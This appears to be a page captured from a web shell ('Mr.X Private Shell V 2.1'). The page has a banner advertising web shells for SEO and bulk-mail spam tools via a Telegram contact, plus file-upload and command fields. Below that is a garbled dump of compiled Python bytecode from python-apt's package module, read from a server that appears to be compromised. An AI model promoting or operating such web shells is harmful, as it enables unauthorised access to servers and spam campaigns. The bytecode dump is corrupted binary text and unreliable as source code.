__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

8.�g4�����SrSSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
JrJrJ
r
Jr SSKJr SSKJrJr SSKJr SSKJr SSKrSS	KJr SSKrSS
KJrJr Sr S!Sjr!"S
S\"5r#"SS\#5r$"SS5r%"SS\&\%5r'"SS5r("SS\
\\45r)"SS5r*"SS\\*5r+"SS5r,\S5r-\.S :Xa\-"5 gg)"z"Functionality related to packages.�)�annotationsN)�Iterable�Iterator�Mapping�Sequence)�
BadStatusLine)�Any�
no_type_check)�	HTTPError)�urlopen)�gettext)�AcquireProgress�InstallProgress)�BaseDependency�
Dependency�Origin�Package�Record�Version�VersionListc�$�[RRU5(a[[RRU5U:Xa8[	U5n[
R"U5RU:HsSSS5 $g!,(df   g=f)z(Return ``True`` if the file is the same.NF)�os�path�exists�getsize�open�apt_pkg�Hashes�hashes)r�sizer�fobjs    �-/usr/lib/python3/dist-packages/apt/package.py�
_file_is_samer#6s^��	�w�w�~�~�d��������� 5�� =�
�$�Z�4��>�>�$�'�.�.�&�8��Z���Z��s�#B�
Bc��\rSrSrSrSrg)�
FetchError�>z(Raised when a file could not be fetched.�N��__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r'�r"r%r%>s��2r/r%c��\rSrSrSrSrg)�UntrustedError�Bz/Raised when a file did not have a trusted hash.r'Nr(r'r/r"r1r1Bs��9r/r1c��\rSrSrSr"SS\5rSSjrSSjrSSjr	\
SSj5r\
SS	j5r\
SS
j5r
\
SSj5r\
SSj5r\
SS
j5r\
SSj5r\
SSj5r\
SSj5rSrg)r�FzA single dependency.c�,�\rSrSrSrSSjrSSjrSrg)�BaseDependency.__dstr�Ia)Compare helper for compatibility with old third-party code.

Old third-party code might still compare the relation with the
previously used relations (<<,<=,==,!=,>=,>>,) instead of the curently
used ones (<,<=,=,!=,>=,>,). This compare helper lets < match to <<,
> match to >> and = match to ==.
c�`�[RX5(ag[RUS5(a[RSU5$[RUS5(a[RSU5$[RUS5(a[RSU5$g)	NT�<z<<�>z>>�=z==F)�str�__eq__��self�others  r"r=�BaseDependency.__dstr.__eq__Rs}���z�z�$�&�&�����D�#�&�&��z�z�$��.�.����D�#�&�&��z�z�$��.�.����D�#�&�&��z�z�$��.�.�r/c�.�URU5(+$�N)r=r>s  r"�__ne__�BaseDependency.__dstr.__ne__^s���{�{�5�)�)�)r/r'N�r@�object�return�bool)r)r*r+r,r-r=rDr.r'r/r"�__dstrr6Is��	�
	�	*r/rJc��XlX lgrC)�_version�_dep)r?�version�deps   r"�__init__�BaseDependency.__init__as���
��	r/c�8�URSUR3$�Nz: ��rawtype�rawstr�r?s r"�__str__�BaseDependency.__str__e����,�,��r�$�+�+��/�/r/c�z�SRURURURUR5$)NzC<BaseDependency: name:{!r} relation:{!r} version:{!r} rawtype:{!r}>)�format�name�relationrNrUrWs r"�__repr__�BaseDependency.__repr__hs1��T�[�[��I�I��M�M��L�L��L�L�	
�	
r/c�B�URRR$)zThe name of the target package.)rM�
target_pkgr]rWs r"r]�BaseDependency.nameps���y�y�#�#�(�(�(r/c�L�URURR5$)z�The relation (<, <=, =, !=, >=, >, '') in mathematical notation.

The empty string will be returned in case of an unversioned dependency.
)�_BaseDependency__dstrrM�	comp_typerWs r"r^�BaseDependency.relationus���{�{�4�9�9�.�.�/�/r/c�.�URR$)aFThe relation (<<, <=, =, !=, >=, >>, '') in Debian notation.

The empty string will be returned in case of an unversioned dependency.
For more details see the Debian Policy Manual on the syntax of
relationship fields:
https://www.debian.org/doc/debian-policy/ch-relationships.html#s-depsyntax  # noqa

.. versionadded:: 1.0.0
)rM�
comp_type_debrWs r"�relation_deb�BaseDependency.relation_deb}s���y�y�&�&�&r/c�.�URR$)z�The target version or an empty string.

Note that the version is only an empty string in case of an unversioned
dependency. In this case the relation is also an empty string.
)rM�
target_verrWs r"rN�BaseDependency.version�s���y�y�#�#�#r/c��/nURR5nUH\nURnURRR
nUR
U5n[Xc5nURU5 M^ U$)zVA list of all Version objects which satisfy this dependency.

.. versionadded:: 1.0.0
)	rM�all_targets�
parent_pkgrL�package�_pcache�_rawpkg_to_pkgr�append)r?�tvers�_tvers�_tver�_pkg�cache�pkg�tvers        r"�target_versions�BaseDependency.target_versions�sr����(,�	�	�(=�(=�(?���E�$)�$4�$4�D��M�M�)�)�1�1�E��&�&�t�,�C��3�&�D��L�L�����r/c�j�URVs/sHoR(dMUPM sn$s snf�zYA list of all installed Version objects which satisfy this dep.

.. versionadded:: 1.0.0
�r}�is_installed�r?r|s  r"�installed_target_versions�(BaseDependency.installed_target_versions��*��"&�!5�!5�K�!5��9J�9J��!5�K�K��K��0�0c��UR(a(URSURSUR3$UR$)aYString represenation of the dependency.

Returns the string representation of the dependency as it would be
written in the debian/control file.  The string representation does not
include the type of the dependency.

Example for an unversioned dependency:
  python3

Example for a versioned dependency:
  python3 >= 3.2

.. versionadded:: 1.0.0
� )rNr]rjrWs r"rV�BaseDependency.rawstr�s;�� �<�<��i�i�[��$�"3�"3�!4�A�d�l�l�^�D�D��9�9�r/c�.�URR$)z�Type of the dependency.

This should be one of 'Breaks', 'Conflicts', 'Depends', 'Enhances',
'PreDepends', 'Recommends', 'Replaces', 'Suggests'.

Additional types might be added in the future.
�rM�dep_type_untranslatedrWs r"rU�BaseDependency.rawtype�s���y�y�.�.�.r/c�4�URRS:H$)zWhether this is a PreDepends.�
PreDependsr�rWs r"�
pre_depend�BaseDependency.pre_depend�s���y�y�.�.�,�>�>r/)rMrLN)rNrrOzapt_pkg.DependencyrH�None�rHr<�rHz
list[Version]�rHrI)r)r*r+r,r-r<rerPrXr_�propertyr]r^rjrNr}r�rVrUr�r.r'r/r"rrFs����*��*�0�0�
��)��)��0��0��
'��
'��$��$��
��
��L��L�����(�/��/��?��?r/rc�^�\rSrSrSrSU4SjjrS
SjrS
Sjr\SSj5r	\S
Sj5r
\S
Sj5r\SS	j5r\SS
j5r
SrU=r$)r��a5Represent an Or-group of dependencies.

Attributes defined here:
    or_dependencies - The possible choices
    rawstr - String represenation of the Or-group of dependencies
    rawtype - The type of the dependencies in the Or-group
    target_version - A list of Versions which satisfy this Or-group of deps
c�<>�[TU]U5 XlX0lgrC)�superrPrL�_rawtype)r?rN�	base_depsrU�	__class__s    �r"rP�Dependency.__init__�s���	����#��
��
r/c�8�URSUR3$rSrTrWs r"rX�Dependency.__str__�rZr/c�8�SSRSU55-$)Nz<Dependency: [%s]>�, c3�8# �UHn[U5v� M g7frC)�repr��.0�bds  r"�	<genexpr>�&Dependency.__repr__.<locals>.<genexpr>�s���0I�D�b��b���D�����joinrWs r"r_�Dependency.__repr__�s��#�t�y�y�0I�D�0I�'I�J�Jr/c��U$rCr'rWs r"�or_dependencies�Dependency.or_dependencies�s���r/c�2�SRSU55$)a@String represenation of the Or-group of dependencies.

Returns the string representation of the Or-group of dependencies as it
would be written in the debian/control file.  The string representation
does not include the type of the Or-group of dependencies.

Example:
  python2 >= 2.7 | python3

.. versionadded:: 1.0.0
z | c3�8# �UHoRv� M g7frC)rVr�s  r"r��$Dependency.rawstr.<locals>.<genexpr>�s���3�d��)�)�d�r�r�rWs r"rV�Dependency.rawstr�s���z�z�3�d�3�3�3r/c��UR$)z�Type of the Or-group of dependency.

This should be one of 'Breaks', 'Conflicts', 'Depends', 'Enhances',
'PreDepends', 'Recommends', 'Replaces', 'Suggests'.

Additional types might be added in the future.

.. versionadded:: 1.0.0
)r�rWs r"rU�Dependency.rawtype�s���}�}�r/c�r�/nUH.nURHnX1;dM
URU5 M M0 U$)z\A list of all Version objects which satisfy this Or-group of deps.

.. versionadded:: 1.0.0
)r}ru)r?rvr�r|s    r"r}�Dependency.target_versionss<�� "���B��*�*���$��L�L��&�+���r/c�j�URVs/sHoR(dMUPM sn$s snfr�r�r�s  r"r��$Dependency.installed_target_versionsr�r�)r�rL)rNrr�zlist[BaseDependency]rUr<rHr�r�)rHrr�)r)r*r+r,r-rPrXr_r�r�rVrUr}r�r.�
__classcell__)r�s@r"rr�s����� �� �+?� �JM� �	
� �0�K������4��4��
��
��
��
��L��Lr/rc�,�\rSrSrSrSSjrSSjrSrg)	ria�The origin of a version.

Attributes defined here:
    archive   - The archive (eg. unstable)
    component - The component (eg. main)
    label     - The Label, as set in the Release file
    origin    - The Origin, as set in the Release file
    codename  - The Codename, as set in the Release file
    site      - The hostname of the site.
    trusted   - Boolean value whether this is trustworthy.
c��URUlURUlURUlURUlURUlUR
UlURUlURRRU5nU(aUR(aSUlgSUlg�NTF)�archive�	component�label�origin�codename�site�
not_automaticrs�_list�
find_index�
is_trusted�trusted)r?r{�packagefile�	indexfiles    r"rP�Origin.__init__+s���"�*�*���$�.�.��� �&�&��
�!�(�(���#�,�,��
��$�$��	�(�6�6����K�K�%�%�0�0��=�	���-�-��D�L� �D�Lr/c
��SUR<SUR<SUR<SUR<SUR<SUR
<S3
$)Nz<Origin component:z	 archive:z origin:z label:z site:z isTrusted:r:)r�r�r�r�r�r�rWs r"r_�Origin.__repr__:s8��

�N�N��L�L��K�K��J�J��I�I��L�L�

�
	
r/)r�r�r�r�r�r�r�r�N)r{rr�zapt_pkg.PackageFilerHr�r�)r)r*r+r,r-rPr_r.r'r/r"rrs��
�
!�
r/rc��\rSrSrSrSSjrSSjrSSjrSSjrSSjr	SSjr
SS	jrSSSjjrSSjr
SS
jrSrg
)riHa�Record in a Packages file

Represent a record as stored in a Packages file. You can use this like
a dictionary mapping the field names of the record to their values::

    >>> record = Record("Package: python-apt\nVersion: 0.8.0\n\n")
    >>> record["Package"]
    'python-apt'
    >>> record["Version"]
    '0.8.0'

For example, to get the tasks of a package from a cache, you could do::

    package.candidate.record["Tasks"].split()

Of course, you can also use the :attr:`Version.tasks` property.

c�:�[R"U5UlgrC)r�
TagSection�_rec)r?�
record_strs  r"rP�Record.__init__\s���&�&�z�2��	r/c�,�[UR5$rC)�hashr�rWs r"�__hash__�Record.__hash___s���D�I�I��r/c�,�[UR5$rC)r<r�rWs r"rX�Record.__str__b����4�9�9�~�r/c� �URU$rC�r��r?�keys  r"�__getitem__�Record.__getitem__es���y�y��~�r/c��XR;$rCr�r�s  r"�__contains__�Record.__contains__hs���i�i��r/c�H�[URR55$rC)�iterr��keysrWs r"�__iter__�Record.__iter__ks���D�I�I�N�N�$�%�%r/c#�r# �URR5HnXRU4v� M g7f)z6An iterator over the (key, value) items of the record.N)r�r�r�s  r"�	iteritems�Record.iteritemsns+����9�9�>�>�#�C��y�y��~�%�%�$�s�57Nc�8�URRX5$)zoReturn record[key] if key in record, else *default*.

The parameter *default* must be either a string or None.
)r��get�r?r��defaults   r"r��
Record.getss��
�y�y�}�}�S�*�*r/c��XR;$)z deprecated form of ``key in x``.r�r�s  r"�has_key�Record.has_keyzs���i�i��r/c�,�[UR5$rC)�lenr�rWs r"�__len__�Record.__len__~r�r/r�)r�r<rHr��rH�intr�)r�r<rHr<)r�rGrHrI�rHz
Iterator[str])rHzIterable[tuple[object, str]]rC)r�r<r�rGrHrG)r�r<rHrI)r)r*r+r,r-rPr�rXr�r�r�r�r�r�r�r.r'r/r"rrHs9���&3���� �&�&�
+� �r/rc�d�\rSrSrSrS4SjrS5SjrS6SjrS7SjrS7Sjr	S7Sjr
S7S	jrS8S
jrS9Sjr
S:SjrS:S
jr\S;Sj5r\S<Sj5r\S=Sj5r\S9Sj5r\S:Sj5r\S9Sj5r\S:Sj5r\S=Sj5r\S=Sj5r\S:Sj5r\S>Sj5r\S:Sj5r\S:Sj5r\S:Sj5r\S:Sj5r\S:Sj5r \S:Sj5r!\S9Sj5r"\S?S j5r#S@S!jr$\SAS"j5r%\SBS#j5r&\SBS$j5r'\SBS%j5r(\SBS&j5r)\SCS'j5r*\S:S(j5r+\S:S)j5r,\S:S*j5r-\S:S+j5r.\SDS,j5r/SES-jr0\SAS.j5r1\S>S/j5r2SFSGS1jjr3SHSIS2jjr4S3r5g0)Jri�z�Representation of a package version.

The Version class contains all information related to a
specific package version.

.. versionadded:: 0.7.9
c�z�XlX lURRRR	U5 grC)rr�_candrs�
_weakversions�add)r?rr�cands   r"rP�Version.__init__�s*�����
������*�*�.�.�t�4r/c��URRnURRnX#:agX#:�ag[R"URR
UR5$![aG [R"URR
U5s$![a [ss$f=ff=f)a�Compares against another apt.Version object or a version string.

This method behaves like Python 2's cmp builtin and returns an integer
according to the outcome.  The return value is negative in case of
self < other, zero if self == other and positive if self > other.

The comparison includes the package name and architecture if other is
an apt.Version object.  If other isn't an apt.Version object it'll be
assumed that other is a version string (without package name/arch).

.. versionchanged:: 1.0.0
����)
rr�fullnamer�version_comparer��ver_strrN�AttributeError�	TypeError�NotImplemented)r?r@�	self_name�
other_names    r"�_cmp�Version._cmp�s���
	&����-�-�I����/�/�J��%���'���*�*�4�:�:�+=�+=�u�}�}�M�M���	&�
&��.�.�t�z�z�/A�/A�5�I�I���
&�%�%�
&��		&�s9�1A/�A/�4A/�/
C�:*B'�$C�'B<�7C�;B<�<Cc�*�URU5S:H$�Nr�rr>s  r"r=�Version.__eq__�����y�y���1�$�$r/c�*�URU5S:�$rrr>s  r"�__ge__�Version.__ge__�rr/c�*�URU5S:�$rrr>s  r"�__gt__�Version.__gt__�����y�y���!�#�#r/c�*�URU5S:*$rrr>s  r"�__le__�Version.__le__�rr/c�*�URU5S:$rrr>s  r"�__lt__�Version.__lt__�rr/c�X�URU5S:g$![a	 [s$f=fr)rrrr>s  r"rD�Version.__ne__�s0��	"��9�9�U�#�q�(�(���	"�!�!�	"�s��)�)c�.�URR$rC)r�r�rWs r"r��Version.__hash__�s���z�z���r/c�L�URRSUR3$)Nr;�rrr]rNrWs r"rX�Version.__str__�s"���,�,�#�#�$�A�d�l�l�^�4�4r/c�T�SURR<SUR<S3$)Nz<Version: package:z	 version:r:r(rWs r"r_�Version.__repr__�s(��#�D�L�L�$5�$5�#8�	�$�,�,�AQ�QR�S�Sr/c���URRRRURR
S5(d[
S5eURRR$)z=Internal helper that moves the Records to the right position.rzCould not lookup record)rrrs�_records�lookupr��	file_list�LookupErrorrWs r"r-�Version._records�sV���|�|�#�#�,�,�3�3�D�J�J�4H�4H��4K�L�L��7�8�8��|�|�#�#�,�,�,r/c�
�URRnURRRRURRS55(a URRR$g)z2Internal helper to get the translated description.rN)r��translated_descriptionrrrsr-r.r/�pop)r?�	desc_iters  r"�_translated_records�Version._translated_records�s^���J�J�5�5�	��<�<���(�(�/�/�	�0C�0C�0G�0G��0J�K�K��<�<�'�'�0�0�0�r/c�@�[URR5$)z1Return whether this version is a security update.)rIr��is_security_updaterWs r"r9�Version.is_security_update�s���D�J�J�1�1�2�2r/c�.�URR$)z.Return the size of the package when installed.)r��installed_sizerWs r"r<�Version.installed_size�s���z�z�(�(�(r/c�.�URR$)z$Return the homepage for the package.)r-�homepagerWs r"r?�Version.homepage�s���}�}�%�%�%r/c�.�URR$)zReturn the size of the package.)r�r rWs r"r �Version.size�����z�z���r/c�.�URR$)z/Return the architecture of the package version.)r��archrWs r"�architecture�Version.architecture�rCr/c�@�[URR5$)z:Return whether the version of the package is downloadable.)rIr��downloadablerWs r"rI�Version.downloadable�s���D�J�J�+�+�,�,r/c��URRnUSL=(a- URRURR:H$)z[Return wether this version of the package is currently installed.

.. versionadded:: 1.0.0
N)rr�	installedr��id)r?�inst_vers  r"r��Version.is_installed�s:���<�<�)�)���t�#�J����(9�(9�T�Z�Z�]�]�(J�Jr/c�.�URR$)zReturn the version as a string.)r�r	rWs r"rN�Version.version����z�z�!�!�!r/c�<�URnUbUR$S$)z0Return the short description (one line summary).N)r6�
short_desc)r?�recordss  r"�summary�Version.summarys%���*�*��%,�%8�w�!�!�B�d�Br/c�.�URR$)z"return the long description (raw).)r-�	long_descrWs r"�raw_description�Version.raw_descriptions���}�}�&�&�&r/c�.�URR$)z"Return the section of the package.)r��sectionrWs r"r]�Version.sectionrRr/c��SnURnUbUROSnU(d"[S5URR-$[U[5(dURS5n[URS55n[U5 UH�nUR5S:XaURS5(dUS-
nM4URS	5(a(URS5(d	S
USS-nOFSUSS-nO=URS
5(a%URS5(dUS:XaUSSnOUnOUnX-
nM� U$![a.n[S5URRU4-sSnA$SnAff=f)z�Return the formatted long description.

Return the formatted long description according to the Debian policy
(Chapter 5.6.13).
See http://www.debian.org/doc/debian-policy/ch-controlfields.html
for more information.
�Nz+Missing description for '%s'.Please report.�utf-8z<Invalid unicode in description for '%s' (%s). Please report.�
�.z

z  z
%s
�z%s
r�r)r6rY�_rrr]�
isinstancer<�decode�UnicodeDecodeErrorr��split�next�strip�endswith�
startswith)r?�descrU�dsc�err�lines�raw_line�lines        r"�description�Version.descriptionsz�����*�*��#*�#6�g���D����E�F����!�!��
�	)��c�3�'�'��j�j��)���S�Y�Y�t�_�%���U���H��~�~��3�&��}�}�T�*�*��F�N�D���"�"�4�(�(��}�}�T�*�*�#�h�q�r�l�2�D�!�H�Q�R�L�0�D��$�$�S�)�)��=�=��&�&�$�"�*�#�A�B�<�D�#�D����L�D�-�.���?"�	)��Q�����"�"�C�(�)�
)��	)�s�
&E�
F�#F�=F�Fc��URR=(d URR$![a URRs$f=f)z&Return the name of the source package.)r-�
source_pkgrr�	shortname�
IndexErrorrWs r"�source_name�Version.source_nameOsE��	*��=�=�+�+�E�t�|�|�/E�/E�E���	*��<�<�)�)�)�	*���25� A�Ac��URR=(d URR$![a URRs$f=f)z)Return the version of the source package.)r-�
source_verr�r	ryrWs r"�source_version�Version.source_versionWsE��	&��=�=�+�+�A�t�z�z�/A�/A�A���	&��:�:�%�%�%�	&�r|c�.�URR$)z.Return the priority of the package, as string.)r��priority_strrWs r"�priority�Version.priority_s���z�z�&�&�&r/c��URRRRR	UR
5$)zrReturn the internal policy priority as a number.
See apt_preferences(5) for more information about what it means.
)rrrs�	_depcache�policy�get_priorityr�rWs r"�policy_priority�Version.policy_priorityds/��
�|�|�#�#�-�-�4�4�A�A�$�*�*�M�Mr/c�@�[URR5$)z�Return a Record() object for this version.

Return a Record() object for this version which provides access
to the raw attributes of the candidate version
)rr-�recordrWs r"r��Version.recordks���d�m�m�*�*�+�+r/c	��/nURRnUHOnX4HCn/nUHnUR[X55 M UR[	XU55 ME MQ U$![
a Mbf=f)aReturn a list of Dependency objects for the given types.

Multiple types can be specified. Possible types are:
'Breaks', 'Conflicts', 'Depends', 'Enhances', 'PreDepends',
'Recommends', 'Replaces', 'Suggests'

Additional types might be added in the future.
)r��depends_listrurr�KeyError)r?�typesr��depends�type_�dep_ver_listr��dep_ors        r"�get_dependencies�Version.get_dependenciests������*�*�)�)���E�
�$+�N�L� "�I�".��!�(�(���)E�F�#/� �'�'�
�4�E�(J�K�	%3������
��
�s�AA0�0
A>�=A>c�^�URRVs/sHoSPM	 sn$s snf)z2Return a list of names that this version provides.r)r��
provides_list)r?�ps  r"�provides�Version.provides�s*��#�j�j�6�6�7�6��!��6�7�7��7s�*c�$�URS5$)z4Return the list of enhances for the package version.�Enhances�r�rWs r"�enhances�Version.enhances�����$�$�Z�0�0r/c�&�URSS5$)z/Return the dependencies of the package version.r��Dependsr�rWs r"�dependencies�Version.dependencies�s���$�$�\�9�=�=r/c�$�URS5$)z-Return the recommends of the package version.�
Recommendsr�rWs r"�
recommends�Version.recommends�s���$�$�\�2�2r/c�$�URS5$)z+Return the suggests of the package version.�Suggestsr�rWs r"�suggests�Version.suggests�r�r/c��/nURRH*up#UR[URU55 M, U$)z1Return a list of origins for the package version.)r�r/rurrr)r?�originsr��_unuseds    r"r��Version.origins�s<����$(�J�J�$8�$8� �K��N�N�6�$�,�,��<�=�%9��r/c�.�URR$)zJReturn the path to the file inside the archive.

.. versionadded:: 0.7.10
)r-�filenamerWs r"r��Version.filename�����}�}�%�%�%r/c�.�URR$)z;Return the md5sum of the binary.

.. versionadded:: 0.7.10
)r-�md5_hashrWs r"�md5�Version.md5�r�r/c�.�URR$)z<Return the sha1sum of the binary.

.. versionadded:: 0.7.10
)r-�	sha1_hashrWs r"�sha1�Version.sha1�s���}�}�&�&�&r/c�.�URR$)z>Return the sha256sum of the binary.

.. versionadded:: 0.7.10
)r-�sha256_hashrWs r"�sha256�Version.sha256�s���}�}�(�(�(r/c�N�[URSR55$)zqGet the tasks of the package.

A set of the names of the tasks this package belongs to.

.. versionadded:: 0.8.0
�Task)�setr�rirWs r"�tasks�
Version.tasks�s!���4�;�;�v�&�,�,�.�/�/r/c#�# �URRHdupURRRRU5nU(dM=UR
URR5v� Mf g7f)zFReturn an iterator over all available urls.

.. versionadded:: 0.7.10
N)	r�r/rrrsr�r��archive_urir-r�)r?r�r�r�s    r"�_uris�
Version._uris�s^���
%)�J�J�$8�$8� �K����,�,�2�2�=�=�k�J�I��y��+�+�D�M�M�,B�,B�C�C�%9�s�AB�,Bc�4�[UR55$)zNReturn a list of all available uris for the binary.

.. versionadded:: 0.7.10
)�listr�rWs r"�uris�Version.uris�s���D�J�J�L�!�!r/c�h�[[UR555$![a gf=f)z>Return a single URI for the binary.

.. versionadded:: 0.7.10
N)rjr�r��
StopIterationrWs r"�uri�Version.uri�s/��	���T�Z�Z�\�*�+�+���	��	�s�!$�
1�1Nc�|�Uc [RRSS5n[RRURR5n[RRX5n[XPRURR5(a8[R"SU-5 [RRU5$URR SupgUR"R$R&R)U5nU(dYU(aUR*(dA[-SUR"R.<SUR0<S[3USS	5<S
35eUR4(d[7S5eURRn	U(dU	R8(d[-SU-5e[R:"U=(d( [<R>R@RC55n
[RD"X�R4X�RXES
9nU
RG5 URHURJ:wa'[MSURN<SURP<35e[RRU5$)a�Fetch the binary version of the package.

The parameter *destdir* specifies the directory where the package will
be fetched to.

The parameter *progress* may refer to an apt_pkg.AcquireProgress()
object. If not specified or None, apt.progress.text.AcquireProgress()
is used.

The keyword-only parameter *allow_unauthenticated* specifies whether
to allow unauthenticated downloads. If not specified, it defaults to
the configuration option `APT::Get::AllowUnauthenticated`.

.. versionadded:: 0.7.10
�APT::Get::AllowUnauthenticatedF�"Ignoring already existing file: %sr�Could not fetch r�� source package: Source �describez	<unknown>� is not trustedzNo URI for this binary.�8The item %r could not be fetched: No trusted hash found.��destfile�	The item � could not be fetched: ))r�config�find_brr�basenamer-r�r�r#r r�logging�debug�abspathr�r/rrrsr�r�r�r1r]rN�getattrr��
ValueError�usable�Acquire�apt�progress�textr�AcquireFile�run�status�	STAT_DONEr%r��
error_text)r?�destdirr��allow_unauthenticated�baser��pfile�offset�indexr�acq�acqfiles            r"�fetch_binary�Version.fetch_binary�s���*!�(�$+�N�N�$9�$9�3�U�%�!��w�w����
�
� 6� 6�7���7�7�<�<��.����9�9�d�m�m�.B�.B�C�C��M�M�>��I�J��7�7�?�?�8�,�,��
�
�,�,�Q�/�
�����$�$�*�*�5�5�e�<��%�%�E�4D�4D� ��L�L�%�%��L�L��E�:�{�;���
��x�x��6�7�7����%�%��%���� �M�PX�X��
��o�o�h�M�#�,�,�*;�*;�*K�*K�*M�N���%�%����6�9�9�d�
��	���	��>�>�W�.�.�.���#�#�W�%7�%7�9��
�
�w�w���x�(�(r/c�6�Uc [RRSS5n[R"5n[R"U=(d( [
RRR55nSnURnUR=(d URRn	UR=(d URRn
UR!U	5nU(a8X�R":wa)UR!U	5nU(aX�R":waM)U(d[%SU-5e['5nU(deUR(R*(dJ[-SURR.<SUR"<SUR(R0<S35eUR2GH-n
[4R6R9U
R65n[4R6R;X5nU
R<S	:XaUn[?X�R@U
RB5(aRF"S
U-5 M�U(d)U
RBRH(d[-SU-5eURK[RL"UUR(ROU
R65U
RBU
R@UUS95 GM0 URQ5 Uc[%SU-5eURRHDnURTURV:wdM[YS
URZ<SUR\<35e U(a�URS-[R^"UR"5-n[4R6R;UU5n[`Rb"SSUU/5 [4R6ReU5$[4R6ReU5$)a�Get the source code of a package.

The parameter *destdir* specifies the directory where the source will
be fetched to.

The parameter *progress* may refer to an apt_pkg.AcquireProgress()
object. If not specified or None, apt.progress.text.AcquireProgress()
is used.

The parameter *unpack* describes whether the source should be unpacked
(``True``) or not (``False``). By default, it is unpacked.

If *unpack* is ``True``, the path to the extracted directory is
returned. Otherwise, the path to the .dsc file is returned.

The keyword-only parameter *allow_unauthenticated* specifies whether
to allow unauthenticated downloads. If not specified, it defaults to
the configuration option `APT::Get::AllowUnauthenticated`.
Nr�FzNo source for %rr�r�r�r�ror�r�r�r�r��-zdpkg-sourcez-x)3rr�r��
SourceRecordsr�r�r�r�rr-rwrrrxr~r�r	r.rNr�r�r�r�r1r]r��filesrrr�r��typer#r rr�r�r�rur�r�r��itemsr�r�r%r�r��upstream_version�
subprocess�
check_callr�)r?r�r��unpackr��srcr�ror�rzr�
source_lookupr��filr�r��item�outdirs                  r"�fetch_source�Version.fetch_source4s���4!�(�$+�N�N�$9�$9�3�U�%�!��#�#�%���o�o�h�M�#�,�,�*;�*;�*K�*K�*M�N���������'�'�A�4�<�<�+A�+A���*�*�@�d�j�j�.@�.@���
�
�;�/�
���+�+� =��J�J�{�3�M���+�+� =���/�$�6�7�7����%����)=�)=� ��<�<�$�$�d�l�l�C�I�I�4F�4F�H��
�
�9�9�C��7�7�#�#�C�H�H�-�D��w�w�|�|�G�2�H��x�x�5� ����X�x�x����<�<��
�
�B�X�M�N��)�S�Z�Z�->�->�$�-�/7�8���
�L�L��#�#���I�I�)�)�#�(�(�3��J�J��H�H��%�
�	
��0	���	��;��/�$�6�7�7��I�I�D��{�{�d�n�n�,� ��}�}�d�o�o�7������[�[�3�&��)A�)A�#�+�+�)N�N�F��W�W�\�\�'�6�2�F��!�!�=�$��V�"D�E��7�7�?�?�6�*�*��7�7�?�?�3�'�'r/)r�rr)rrrrzapt_pkg.VersionrHr�)r@r	rHz	int | AnyrF)r@rrHrI)r@rGrHz
bool | Anyr�r�)rHzapt_pkg.PackageRecords)rHzapt_pkg.PackageRecords | Noner�)rH�
str | None)rHr)r�r<rH�list[Dependency]�rHz	list[str])rHr)rHzlist[Origin])rHzset[str]r�)r`NN)r�r<r��AcquireProgress | Noner��bool | NonerHr<)r`NTN)
r�r<r�rrrIr�rrHr<)6r)r*r+r,r-rPrr=rrrr!rDr�rXr_r�r-r6r9r<r?r rFrIr�rNrVrZr]rtrzrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr.r'r/r"rr�s\���5�
&�:%�%�$�%�$�"��5�T��-��-������3��3��)��)��&��&����������-��-��K��K��"��"��C��C�
�'��'��"��"��4��4�l�*��*��&��&��'��'��N��N��,��,��,�8��8��1��1��>��>��3��3��1��1������&��&��&��&��'��'��)��)��0��0�D��"��"������+/�-1�	@)��@)�)�@)� +�	@)�


�@)�H�+/��-1�^(��^(�)�^(��	^(�
 +�^(�

�
^(�^(r/rc��\rSrSrSrSSSjjrSSjrSSjrSSjrSSjr	SS	jr
SS
jrSSjrSSjr
SSS
jjrSrg)ri�agProvide a mapping & sequence interface to all versions of a package.

This class can be used like a dictionary, where version strings are the
keys. It can also be used as a sequence, where integers are the keys.

You can also convert this to a dictionary or a list, using the usual way
of dict(version_list) or list(version_list). This is useful if you need
to access the version objects multiple times, because they do not have to
be recreated this way.

Examples ('package.versions' being a version list):
    '0.7.92' in package.versions # Check whether 0.7.92 is a valid version.
    package.versions[0] # Return first version or raise IndexError
    package.versions[0:2] # Return a new VersionList for objects 0-2
    package.versions['0.7.92'] # Return version 0.7.92 or raise KeyError
    package.versions.keys() # All keys, as strings.
    max(package.versions)
Nc�~�XlURRUlU(aURUUlggrC)�_packagery�version_list�	_versions)r?rr�slice_s   r"rP�VersionList.__init__�s0���
� ���2�2����!�^�^�F�3�D�N�r/c�b�[U[5(aURURU5$[	URUR
U5$![a@ UR
H-nURU:XdM[	URU5s s$ Of=f[SU-5e)NzVersion: %r not found.)	rf�slicer�rrrrr	r��r?r	�vers   r"r��VersionList.__getitem__�s����d�E�"�"��>�>�$�-�-��6�6�	7��4�=�=�$�.�.��*>�?�?���	7��~�~���;�;�$�&�"�4�=�=�#�6�6�&�	7��
�/�4�8�9�9s�"A�'B �B �B �B c�8�SSRSU55-$)Nz[%s]r�c3�8# �UHn[U5v� M g7frC)r<)r�rs  r"r��&VersionList.__str__.<locals>.<genexpr>�s���"<�t��3�s�8�8�t�r�r�rWs r"rX�VersionList.__str__�s������"<�t�"<�<�=�=r/c�(�SUR5-$)Nz<VersionList: %r>)r�rWs r"r_�VersionList.__repr__�s��"�T�Y�Y�[�0�0r/c�0^�U4SjTR5$)z*Return an iterator over all value objects.c3�P># �UHn[TRU5v� M g7frC)rr)r�rr?s  �r"r��'VersionList.__iter__.<locals>.<genexpr>�s����F�~����
�
